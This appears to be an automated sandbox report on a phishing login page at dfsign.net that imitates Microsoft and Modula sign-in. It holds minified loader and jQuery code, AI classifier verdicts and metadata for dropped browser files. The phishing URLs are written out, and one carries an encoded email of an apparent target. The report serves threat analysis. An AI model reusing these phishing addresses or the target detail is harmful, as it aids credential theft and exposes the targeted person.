r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var a=!1,s=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){ return f.$Config\|\|f.ServerData\|\|{}}function r(e,r){var t=f.$Debug;t&&t.appendLog&&(r&&(e+=" '"+(r.src\|\|r.href\|\|"")+"'",e+=", id:"+(r.id\|\|""),e+=", async:"+(r.async\|\|""),e+=", defer:"+(r.defer\|\|"")),t.appendLog(e))}function t(){var e=f.$B;if(void 0===d){if(e){d=e.IE}else{var r=f.navigator.userAgent;d=-1!==r.indexOf("MSIE ")\|\|-1!==r.indexOf("Trident/")}}return d}function n(){var e=f.$B;if(void 0===l){if(e){l=e.RE_Edge}else{var r=f.navigator.userAgent;l=-1!==r.indexOf("Edge")}}return l}function o(e){ var r=e.indexOf("?"),t=r>-1?r:e.length,n=e.lastIndexOf(".",t);return e.substring(n,n+h.length).toLowerCase()===h}function i(){var r=e();return(r.loader\|\|{}).slReportFailure\|\|r.slReportFailure\|\|!1}function a(){return(e().loader\|\|{}).redirectToErrorPageOnLoadFailure\|\|!1}function s(){return(e().loader\|\|{}).logByThrowing\|\|!1}function u(e){if(!t()&&!n()){return!1}var r=e.src\|\|e.href\|\|"";if(!r){return!0}if(o(r)){var i,a,s;try{i=e.sheet,a=i&&i.cssRules,s=!1}catch(e){s=!0}if(i&&!a&&s){return!0} if(i&&a&&0===a.length){return!0}}return!1}function c(){function t(e){g.getElementsByTagName("head")[0].appendChild(e)}function n(e,r,t,n){var u=null;return u=o(e)?i(e):"script"===n.toLowerCase()?a(e):s(e,n),r&&(u.id=r),"function"==typeof u.setAttribute&&(u.setAttribute("crossorigin","anonymous"),t&&"string"==typeof t&&u.setAttribute("name","")),u}function i(e){var r=g.createElement("link");return r.rel="stylesheet",r.type="text/css",r.href=e,r}function a(e){ var r=g.createElement("script"),t=g.querySelector("s
URL: https://9676170e-b5027fcd.dfsign.net/ests/2.1/cont... Model: Joe Sandbox AI	```json { "risk_score": 1, "reasoning": "The provided script is a minified version of jQuery v3.5.1, a widely used JavaScript library. It does not exhibit any high-risk behaviors such as dynamic code execution or data exfiltration. The script primarily defines utility functions and methods for DOM manipulation and event handling, which are typical for jQuery. There are no interactions with external domains or suspicious behaviors present. The low risk score reflects the benign nature of the script." }
/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n\|\|0===t\|\|"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject\|\|this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]\|\|{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]\|\|{},s++),"object"==typeof a\|\|m(a)\|\|(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)\|\|(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i\|\|S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document
URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Trying to sign you in", "prominent_button_name": "Cancel", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "brands": "unknown" }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Enter password", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Password" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	{ "brands": [ "Modula" ] }

URL: https://login.dfsign.net/?organisation=modula&client_id=Z2lvdmFubmkuY2FyaWFuaUBtb2R1bGEuY29t&sso_reload=true#/2?document=kbcysajsdnwiqum-2-&doc=95-46-kbcysajsdnwiqum Model: Joe Sandbox AI	```json{ "legit_domain": "modula.us", "classification": "unknown", "reasons": [ "The brand 'Modula' is not widely recognized, making it difficult to classify as 'known' or 'wellknown'.", "The URL 'login.dfsign.net' does not match the typical domain associated with 'Modula'.", "The domain 'dfsign.net' does not appear to be related to 'Modula', which raises suspicion.", "The presence of a login page with a password field on an unrelated domain is a common phishing tactic." ], "riskscore": 8}
URL: login.dfsign.net Brands: Modula Input Fields: Password

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 12:48:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9853582205047537
Encrypted:	false
SSDEEP:	48:8XldXTPPLHQidAKZdA1FehwiZUklqehqy+3:8fTKpy
MD5:	348AAEB06743015FC170E391622ECD8D
SHA1:	24366FE76E684648B36F7950221E8ADEB9398DEB
SHA-256:	E66C7C83582BCEAB2A8BA8AEAE7DFE4BF7C1B3A615DB588E0E7011B7BC08908B
SHA-512:	F5D22EE6DA85915B4DD6009BA0EA253D644FFFA4B9FA590ACDCC9C3FD956450A82C4EBF0E5B781B578C85EAB492A2B267B6538D0FF3FB27D6511DF473325900E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......c..a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'Z.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 12:48:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.0006965335173446
Encrypted:	false
SSDEEP:	48:8NdXTPPLHQidAKZdA1seh/iZUkAQkqehZy+2:8XTk9QQy
MD5:	5AFE6DF1CDB9DF204B858AD4DC06EA8B
SHA1:	C3CCD024B1840D98ED83691773B317DFCC28C5E6
SHA-256:	6666AEEBC6E193DCF42C8459B46EC701E4A1B9A88E92CF3C5F89DD56AF271510
SHA-512:	100B0838F14E3AFC63EF66D67F0B77C2E2809DE63AC0C2A55AC9504F535661B1F37E97352B7F2B5E77C5AF28693511454EB2C289BBC9764AB1EC4B80B37DBCB2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....lXY..a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'Z.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.0127818770194805
Encrypted:	false
SSDEEP:	48:8ZdXTPPAHQidAKZdA14meh7sFiZUkmgqeh7sny+BX:8LTZn1y
MD5:	3E891FB4506296130C7DFB3B4D3D8F63
SHA1:	511953CBADE5CDD931709EE26AF56EA6CC193650
SHA-256:	1BFBC7C0BB81CAE17EDA36B7C124FE0ABC275A27213A1E5E314F98AB4E3AF268
SHA-512:	493442743D4CF00AABFD5005B1B4E5679515E7B8F731C92D0133344B7FD35B4B36C1F0873456C6D153DBF8B837CF697FAA6B99795AED974285E9F0EE1A54BD57
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 12:48:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9982984622065767
Encrypted:	false
SSDEEP:	48:8WSVdXTPPLHQidAKZdA1TehDiZUkwqehNy+R:8WSfT//y
MD5:	8B0A58551588F34870C62B1D72C6990C
SHA1:	B5E6069BF207861BC466392A1A8F216E7C1D1A4A
SHA-256:	5804C3E107785D3E35E1BBDD0CD9A74C7438180531C84EB2208920E4F9E36D15
SHA-512:	E2E8060AD8CF439F400A736FF5A3B377AEAE38EB524885A45BDC22D8F6C8E3236FEF9266007B36565F0B5751FF7DB1135553DF23CD4208EA9B83A5767D67E1D2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....IeS..a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'Z.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 12:48:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.990858874124465
Encrypted:	false
SSDEEP:	48:8EdXTPPLHQidAKZdA1dehBiZUk1W1qehDy+C:8oTf9jy
MD5:	995590A1734FDD5841C006A21441518B
SHA1:	DECAC785A4B8742EF34B51A1DEF1CA7FD7DECDBB
SHA-256:	49C1BEF560D777F116D0E2FD5D6B36D315EBBB245F0C7AEE9A11E8EC3FD2D9FD
SHA-512:	72EB09839BE4FFA6404F0DA7752C035D37BBDE05984D944525663945721A7574470A2334A1CD5924315F2189D7CBBBA7ADD9844CDFAF8C29EAD254321588B84A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......^..a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'Z.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Jan 7 12:48:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9989741989279652
Encrypted:	false
SSDEEP:	48:8QdXTPPLHQidAKZdA1duTeehOuTbbiZUk5OjqehOuTb1y+yT+:8cTjTfTbxWOvTb1y7T
MD5:	F49B595DF2533AF42D9101F8B9268897
SHA1:	944255C9418C43E05ABC65D038F033FF54812A84
SHA-256:	5208E15D5BF2314FB42B5955000B5B4285AE7BEC70CA5E335889325AD610E02C
SHA-512:	9F46E2F66846D8942357489B44510582FDBE293D609BAA4BD5EA67C02398E20B3FA61E2DEC2E65D984FD17D4B0573ABC27D3998F78ADC367846494C7D668065A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......J..a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I'Z.n....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V'Z.n....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V'Z.n....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V'Z.n..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V'Z.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........'%.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 407057
Category:	dropped
Size (bytes):	116390
Entropy (8bit):	7.99743268926922
Encrypted:	true
SSDEEP:	3072:A621sKybKeUXq6Xd1YfOm/XLAFpkzMvrL/W6f5jLHA4Y2:A621sK9XqajYWI7zorL/V5Y4X
MD5:	4AD2193CE516C5CDDA9019F60AD44EE8
SHA1:	8EC2BC1872D0D57426D4F5B01B038CFC7EA030DF
SHA-256:	1477348D67CCB0F737436164A3787814489F7A5282F69901E04705C18639EB1E
SHA-512:	EB5FF3F194D68864A9C5C740000AC93BE9B1583101B6427C659D6C54FD5AAE71AB5B4F78C11BC03418B2AC011CEA189374F173A731B47441C416217F01A721A6
Malicious:	false
Reputation:	low
Preview:	...........}[[.H........-...1 #<$!=.$...{z.'...X..<....o?k...J..&....3.u....._6_U.............._...VN.......7G......WF..W........0... ..a.%<......&.Q..T.1.L..+.$qe...\|t.'.]..a........9.._..\|=...p=NA...^.!.6.. .Y0.Q.n..... ..p.T">..-4...y..V."^.yR..Q2..hT...5.fD.1.....C.pD...0@?..Ng0h.&.&....ie..\|.IXy.g...x....v.S;.<...0...Fn.1.n...I%..Q.&+.W.......u..8.9X8.:...........C..BGhd...$.N.....c.P.R...A..5......hno4mK..'.4v67..d<.j.G...4..l.....a..o0.....O>n\|..w..9....t..6...@5y./.qn.N.".."../8"tL.>.....O....w~0.Mu......`..n....o5..xl^^...a.y..........y9......0."......-.....>.6-....f.c7.].yp.e5.R6p..y...{3.u.....;....4`..i..=..wq...M....^...N....?.x2...r-M..n.....O......Gf5..'q#...L.+......fZW.bQ..}L..'....0...6...;~.Mv..If.....2...g.].'.....,q.x.........t.K..s.C3..`#.."^R.z..A..u.f....W."...3.....M.rb(.Xt.......k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h.W......P{..7!....\|..\R.]V....."..@4.o....7..piCG../.px..j.%r2.....n.k5

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.319344972980597
Encrypted:	false
SSDEEP:	6:XtrDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XBD34sMDaXI0demb/
MD5:	44D8807C223B5C6DEF6E75A602F314EF
SHA1:	E061C196D771661D6C47336C50EAFE2B3BA14130
SHA-256:	BA9816D7AF3E3B0EA5B6B34BAA0C99FE5EDCF4CA9BE30307AAA2956F994A8B1E
SHA-512:	E71B16643B2AC3DC315D1EEF21B9054A71F35E9E2E1DC0D36ABC08F4BDF1A9D3C3D6E9D35D06217966647367DCDD7709EA92B558CE407422FC13B4C33E12E3E4
Malicious:	false
Reputation:	low
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 450689
Category:	downloaded
Size (bytes):	122499
Entropy (8bit):	7.997799415341526
Encrypted:	true
SSDEEP:	3072:xqLtQHgFIOLgMc4dvuRbhFFb33Lqa8qoUg7N:xutbJsMcEkhF9IdNR
MD5:	D95902C22D30232060D01414A90C542C
SHA1:	69A694B1212222562CC1AEEA35D318E85AD2C341
SHA-256:	860A12B22DCE62F7F8E363128FF9406A77AE0D5DA39997A96C714B72AF1F4956
SHA-512:	C2E279AC2353CBC45A0AEE0003E9880E4E9F56E911C5621C58FD147855514CD32772E323C76FD1B3DC7B4A6DF2C04BAAAA2F0EE31AE29F541929ED9BE256B9C1
Malicious:	false
Reputation:	low
URL:	https://03e75177-b5027fcd.dfsign.net/shared/1.0/content/js/ConvergedLogin_PCore_kAx9qZOSH4g90FNHstHMCA2.js
Preview:	...........}[.8......\&.L..{.x.t.nv.p......ql%xH...rB....J.-'..=...}...&.Jo.R..T}.y...\....J....uipR..\|zuT....(]..O..._.6.......?e%.;rb...F%?p.h.FN......\|gZ.G.<..<..dn...~.@.....2T.y.K'J^K.....6...P.....!).a.....6.. f.E......s..8.'......F.....KN.J1KJ.0J.x?..!B.Zcj....8t.....1......!vq..Ac.0..V.N..a..}(%a.5\..g..I..6...L...x.7.......8..B..J....^b/s.....I...r..L.3.... ..y...^K.l.....%.'.\|.8.T.....$.R..8.j.?.R.f..}..o.....$....a.'..Q....$..,......a..#..........1/w.Qf...#.H.(.9~ ..T'.47..r..0......-....".U.ag..\.X.U..w)(...F.'..@....n.;=.?.....w../au.I.p...U\|;.......O.. ...9.>8..9.....T...(;._..un...].:_..e..V:.....@..\..Ue.'Pe..&wv..T..ow.........?..\)WVb..r.;.....A........mpW.X.........z.....I...}j.....(...1.e.D.~.....;F..:..P.=.....(r^.........N1.F....@.Y%y.....t...Q....Y...$.V..XA..4.a.b.j..3.2.B...DL}4Y.r.u........`?....W`Z".S.S..}= .:......i.@E"1T.....`\.a....J:].....R....=R..y.........s<;....~NXr<%...\|.v&...5......D.

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 407057
Category:	downloaded
Size (bytes):	116390
Entropy (8bit):	7.997526531746094
Encrypted:	true
